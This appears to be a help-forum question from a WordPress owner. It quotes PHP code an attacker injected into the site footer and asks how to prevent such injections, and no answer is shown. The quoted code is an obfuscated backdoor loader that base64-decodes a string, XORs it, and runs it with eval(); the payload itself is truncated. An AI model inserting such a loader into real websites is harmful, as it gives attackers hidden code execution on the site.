My wordpress has been attack and the hacker inject php code into my footer.

Here is the code :

<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
$encoded = "ch0KCh...";
$raw = base64_decode($encoded);
$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
    $res .= chr(ord($raw[$i]) ^ ord('x'));
}
eval($res)
?>
<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>

I would like to know the solution to prevent these kind of injection ? My wordpress is the last version.

Thanks

Read more here: wordpress php injection hack


Solution:

If you know the solution of this issue, please leave us a reply in Comment section, to update the question.


Wordpress related questions and answers: